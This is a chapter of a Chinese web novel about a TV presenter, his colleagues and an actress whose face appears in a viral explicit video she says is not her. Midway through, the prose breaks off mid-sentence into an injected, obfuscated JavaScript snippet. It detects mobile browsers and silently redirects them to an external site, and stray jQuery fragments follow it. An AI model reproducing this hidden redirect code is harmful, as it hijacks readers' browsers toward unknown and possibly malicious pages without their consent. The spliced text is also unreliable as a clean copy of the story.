14. 艳照
作品:《风闻绯事》 “咳咳。”
突然响起的一声轻咳,给刘恪辰绝望的想象撕开了一片天地。他睁开眼,看到和自己同一批入职的实习记者伍旸,正小心地走到李璟意旁边。
“意姐,副台长那边喊你过去一趟。”
伍旸的话仿佛救命稻草,将刘恪辰解救出来。他感激地望着伍旸,朝他合十手掌。伍旸跟在李璟意身后,悄悄回头冲他挥了挥手,用手指比了个“三”。
“完了,要请他三天晚饭了……”刘恪辰一声长叹,掏出手机看了看岌岌可危的余额。
“我给你报销。”许久没有出声,刘恪辰被邵聿冷不丁地吓了一跳,他震惊地瞪大了眼睛。
邵聿微微低下头来,意味深长地盯着他,刘恪辰被这眼神盯得浑身发毛,不妙!他赶紧找补道:“聿哥,那个……我其实……”
话音未落,肩膀就被重重地拍了拍,耳畔响起了最不希望听到的一句话:“吃完饭,记得拿到他们的拟邀嘉宾名单。”
什么叫赔了夫人又折兵,刘恪辰这下可是明白了!
午饭时间,他无精打采地端着托盘在食堂里找位置,远远地就看见伍旸高举手臂,朝他招手。他把托盘重重地放在伍旸对面的空位置上,一言不发就开始往嘴里扒拉白米饭。
“怎么了?挨骂了?”伍旸放下筷子,歪着头问他。
他们两个都是广播大学今年的毕业生,同一批入职,一向关系都很好。伍旸想起上午的尴尬事件,恍然大悟:“是不是因为你背后说意姐坏话,聿哥批评你了?”
刘恪辰还是不说话,嘴里塞了几大口米饭,撑得脸颊都鼓起来。
“唉,我知道你也是想安慰聿哥,收官节目的事情对他来说肯定很难接受。不过他一直对你都挺好的,也不是有意要批评你,只是提醒你谨言慎行。”
伍旸说着说着,刘恪辰的头反而越来越低,之间他猛地把嘴里的饭咽下去,拿起手边的可乐一饮而尽。一口气吞咽了太多东西,刘恪辰剧烈地咳嗽起来,脸涨得通红,肩膀随着咳嗽而颤抖。咳了几声后,他直接把头埋在桌子上,像是忍耐着痛苦,喉咙里发出沉闷的声响。
“哎呦你慢点!”伍旸立刻站起身来,隔着桌子拍拍他的后背,“唉,昨天我就应该跟着意姐一起去参加你们的筹备会,你也不至于后来撞见意姐,又被聿哥说了。”
“没事,我没事……”因为咳嗽,刘恪辰的嗓音也变得沙哑起来。
“别担心,之后收官节目咱们两个组会一起准备,有什么需要我帮忙的,随时开口!”
“真的?”刘恪辰猛地抬起头来,伍旸茫然地与他对视,发现他其实一滴眼泪都没流。
“哇,你是故意的!”伍旸追悔莫及,可说出去的话就如同泼出去的水,他也只好认栽。
……卯时三刻,琉璃宫檐角的铜铃随春风摇曳,悦耳的铃声与鸟儿清脆的鸣叫交相呼应。琉璃宫的规格和景致在阿房宫的诸多宫殿中格外优越,前有抱厦,后有花园,连窗棂都是紫檀木雕成的缠枝芍药。
柔软的春风悄然吹开正殿的雕花木门,宫室内每一处陈设都十分精致,青铜仙鹤香炉悠悠飘出悦人的香气,处处都能看出琉璃宫主人所拥有的宠爱。
“姐姐,无论我做出什么决定,都不希望你为我而流泪。”
晨起,江知渺尚未束起一头青丝,只着一袭素雅的白衣。她掀开薄纱帐幔,焦急地伸出手去,掌心轻贴柏霆宇的脸颊,端详着面前的英俊少年。
“阿冲,母亲为你取乳名为凤皇,自幼时便知你绝非平庸之辈,也不甘做这笼中之雀,可孤身一人去平阳做太守,我担心……”
柏霆宇扶着她的手臂,带她坐到梳妆镜前,拿起象牙梳篦,为她梳理发丝。江知渺从镜中窥见他心无旁骛的眼神,许久,悠悠叹息道:“倘若明知那是一条以卵击石的不归之路,我还应该让你走上去吗?”
他为她戴上发簪,“那我更要闯出一片天地,夺回慕容家原本拥有的一切,救你离开。”
“咔——”
导演一声令下,摄影师、灯光师、造型师都动了起来,江知渺和柏霆宇走到监视器后,观看刚才那段表演的回放。
“霆宇这里的眼神很好,很有少年感。”张导不住地点头,开机半个月以来,他对柏霆宇的表演始终赞不绝口。
江知渺也跟着轻轻点头,小小的监视器画面中,记录了他的表演里非常丰富的细节,甚至在她的手落在侧脸时,他的双眸瞬间亮了起来。
与柏霆宇的合作出奇地顺利,她原以为柏霆宇会很难相处,可在经历了开拍首日那场爆炸意外后,他就收起了那副吊儿郎当的纨绔样子,再也没有说些不着调的话。
“谢谢张导,后面的戏我也会继续努力的。”柏霆宇给导演递上水杯,客气地回道。
“好好好,这部戏有你们俩,真是太让我放心了。行,那咱们准备转场,你们俩先去走走戏……”
“知渺姐——”冉然的声音从远处传来,引得工作人员纷纷侧身看向她。
她一路狂奔,直直地穿越人群,一路撞到好几个人的肩膀,引来声声抱怨。很快,她跑到了江知渺的面前,气喘吁吁,脸憋得通红,“知渺姐,我……”
“别着急,慢慢说。”江知渺不好意思地向张导抬手示意,同时手在冉然的背上轻拍,帮她顺气。
“我……你……栖月姐让你赶紧回电话!”说着,她掏出江知渺的手机。
江知渺接过手机,被屏幕上显示的几十个未接来电吓了一跳,她皱起眉头,解锁后发现微信也在不断地蹦出新消息。
“喂,栖月,发生什么了?”
“江知渺,听我说,从现在开始,你谁的电话都不要接,谁的采访都不要回,我会立刻帮你跟制片请假。”
江知渺听得一头雾水,直到最后听到“请假”二字,她的脑海里发出“嗡”的一声。身旁的柏霆宇、导演、副导演也疑惑地望着她,江知渺严肃地问道:“到底发生了什么?”
面对她的疑问,梁栖月一反常态,反而降低了音量,然而接下来的话还是清晰地钻进了她的耳朵:“有人在网上发布了一段不雅视频,说,其中的女人是你。”
江知渺呆坐在房车里,车门紧闭,车窗拉上了厚厚的帘子,完全密封的空间,她只能把视线茫然地落在冉然扔到桌面的手机上。
她盯了手机很久,还是把手机拿起来,打开微博,点进热搜,看到“#江知渺不雅视频#”、“#江知渺床照#”、“#江知渺视频流出#”“#江知渺视频中的男人是谁#”一连串的话题挂在最顶端。
她随手点进去一个,视频已经被梁栖月高效地处理掉,可截图仍然在以可怕的速度流传着,求视频的更是不在少数。
这不是我,她在心底默念。
就像刚刚在片场,她挂掉梁栖月的电话,第一时间打开微博,一段十五秒的视频映入眼帘。
她只用了一秒钟,就脱口而出:这不是我。
昏黄的灯光,凌乱的床单,缱绻纠缠的发丝,大片暴露的皮肤,拥抱、亲吻、起伏、震颤……
而这些之上,是一张与她毫无二致的脸,任谁看到都会坚定地说:这是江知渺。
但那不是她。
那个被环在健壮的男人臂膀中,眼尾绯红,露出暧昧神情,深陷情欢,忘我陶醉的女人,不是她。
或许看到视频的那一刻,她的声音有着细微的颤抖,或许她的脸色不自然地泛起惨白,柏霆宇一言不发抽走了她的手机,将她所看到的污秽尽收眼底。
他倒吸了一口凉气,下意识看向她的脸。
那是她。
不,也不对,那是她的脸。
只是,柏霆宇从未见到这张自带故事感的脸上,出现过如此意乱情迷的神情。尽管她在松
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594657|171696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弛下来的时候,眉眼间也带着猫儿般慵懒的性感,可视频中的这副神情却非常直白地令人心跳加速,也令他心烦意乱起来。
他的手指在屏幕上重重地滑动几下,手机直接关机,然后不耐烦地递给冉然,厉声说道:“既然不想让她接触这些东西,为什么还要让她看到?”
江知渺迷茫地抬起头,她想从柏霆宇的表情中,解读出普罗大众的观后感;可她失败了。
柏霆宇深邃的眼眸中,装满了无法读懂的复杂情绪。他的眉头紧皱,这让他看起来成熟了几岁,可眼底又氤氲着清澈的光芒,像小动物受了伤似的,目光在微微颤动的睫毛下闪烁。
柏霆宇专注的眼神帮助他在探寻、在观察、在尝试做出判断。江知渺突然不想移开视线了,她开始好奇,这个只认识了自己不到一周的人,究竟会得出怎样的答案。
很快她就得到了解答,柏霆宇叫来自己的助理,亲口告诉他:“现在就发微博:请大家关注作品,停止造谣。”
说完,他转过身来,像是下定了什么决心,深吸了一口气,摊开双手。江知渺在那一刻以为,他就要张开怀抱拥抱她了。她也跟着紧张起来,甚至屏住呼吸,双脚下意识想要向后退去,却又像完全失去力气,任由他紧紧咬住命脉。
可柏霆宇没有,他只是极尽温柔地捏了捏她的肩膀,力度控制得刚刚好,比她略高的体温降落在发凉的皮肤上,霎时蔓延了全身。
正当她盯着黑屏的手机沉思时,房车的门突然从外面打开,梁栖月风尘仆仆地走进来,发现她还握着手机,一把抢过来,瞪了她一眼,“你可千万别给我找事。”
江知渺突然想问问她:你看到视频了吗?你觉得视频里的女人是我吗?
不过此时此刻,这些问题都不重要了,重要的是:你觉得那个人,会是我吗?
没有源头的艳情视频,无从下手的澄清方式,那个视频中的女人是不是她,早已不重要了。人们心底觉得有没有可能是她、会不会是她,才是最难拆除的定时炸弹。
为什么呢?她当时只顾着为柏霆宇无条件相信自己而感动,为他第一个站出来支持自己而感激,此时才回过神来,面对这样一个自由心证的绯闻,自己甚至忘记向他寻求原因。
“是什么让你相信,我不会是那个与陌生男人缠绵悱恻的女人呢?”突然窜上心头的问题让她感到有些熟悉,她努力让一团乱麻的头脑转动起来,却被梁栖月的手机铃声打断了思考。
“喏,邵聿的电话。”她将手机递到面前。
江知渺看到尚未接通的电话,眼前突然亮了一下。她想起来了,这个问题,她曾经问过邵聿——铺天盖地的照片,小花江知渺深夜被一男子从酒店抱出,乘坐豪华轿车离开,疑似被金主包养。
可那时,正在职业上升期的邵聿,却在新闻发酵后,立刻向她求婚,甚至不顾国立电视台的警告,在所有主流社交媒体上发文,声明当晚她与自己在家中,并公开了婚讯。
她在领证当天曾经问过邵聿:“那天晚上我和你并没有在一起,甚至,你还看到我从酒店里跑了出来,为什么你会毫无条件地信任我?”
当时邵聿是怎么说的?
江知渺按下接通键,分了神去回忆他当时的回答。
“喂,我是邵聿。”熟悉的醇厚音色在电流的传导下冰冷了几分,江知渺紧握住手机,尝试用耳畔肌肤的热度去温暖他的声音。
“台里让我回复,视频里的人是不是你?”
“叮”的一声,江知渺听到了自己骤然响起的耳鸣,原本细微的声音在沉默中变得格外尖锐刺耳,利剑般划破记忆的浓雾,让一切都变得清晰起来。
江知渺不禁打了个寒颤,食指扣住掌心,指甲刺破皮肉,钻心的痛觉令她艰难地闭上双眼。
——她想起来了,当时邵聿给她的回答是:
因为我爱你。